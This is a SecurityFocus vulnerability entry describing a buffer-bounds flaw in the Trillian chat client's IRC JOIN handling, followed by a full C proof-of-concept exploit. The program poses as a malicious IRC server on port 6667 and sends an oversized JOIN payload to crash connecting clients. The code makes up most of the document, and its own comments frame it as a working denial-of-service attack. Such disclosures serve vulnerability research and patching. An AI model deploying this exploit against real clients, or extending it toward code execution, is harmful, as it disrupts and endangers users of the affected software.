source: http://www.securityfocus.com/bid/5765/info

The Trillian IRC module does not sufficiently check bounds on JOIN commands. A malicious IRC server may potentially exploit this condition to cause a denial of service or execute arbitrary code with the privileges of the client.

This issue was reported for Trillian versions 0.73 and 0.74. Earlier versions may also be affected. 

/* Trillian-Join.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Join Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 001 target :target\n:target!ident@address JOIN :"

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[300];

        printf("\nTrillian Join Flaw\n");
        printf("----------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',300);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
}
